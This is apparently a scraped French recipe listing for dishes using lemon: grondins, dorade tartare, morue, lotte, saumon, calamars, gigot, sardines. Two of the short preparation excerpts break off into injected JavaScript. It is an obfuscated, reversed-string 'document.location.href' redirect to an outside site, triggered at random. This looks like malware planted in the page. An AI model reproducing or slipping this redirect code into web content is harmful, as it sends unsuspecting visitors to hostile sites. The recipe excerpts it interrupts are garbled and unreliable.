Recipes from Ingredient: Citron

Grondins au beurre d’anchois

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Videz, rincez, salez et poivrez, extérieur et intérieur les grondins. Mélangez le thym avec les ...

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Tartare de dorade avec des courgettes

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Pelez et coupez les courgettes en fines lamelles, faites-les blanchir 2 minutes  dans de l’eau ...

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Effeuillé de morue

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Enlevez l’excédent de sel des filets de morue en les frottant à l’aide d’un tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var ...

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Sauté de lotte au curry

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Pelez et râpez le morceau de gingembre. Pelez, coupez en deux l’ail, ôtez le germe. ...

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Pavés de saumon avec une compote de pommes et fenouil

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Rincez, séchez, émincez le bulbe de fenouil. Pelez, émincez l’échalote. Dans une eau bouillante salée.

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Saumon farci aux pruneaux

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Fendez les tranches de saumon dans l’épaisseur, ouvrez les, aplatissez les en escalopes. Salez, poivrez.

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Calamar en robe de sel

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Rincez, séchez les calamars et les couper en anneaux d’environ de 1 cm d’épaisseur. Faites ...

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Gigot d’agneau à la tomate

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Rincez, coupez en petits dés les tomates fraîches. Pelez, coupez en deux les gousses d’ail. ...

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Galets de poisson au comté et au maïs

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Hachez le morceau de cabillaud. Déposez le dans un saladier et incorporez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var ...

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Sardines aux raisins de Corinthe

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Écaillez, étêtez et videz les sardines. Lavez, séchez et coupez en deux, les sardines sans ...

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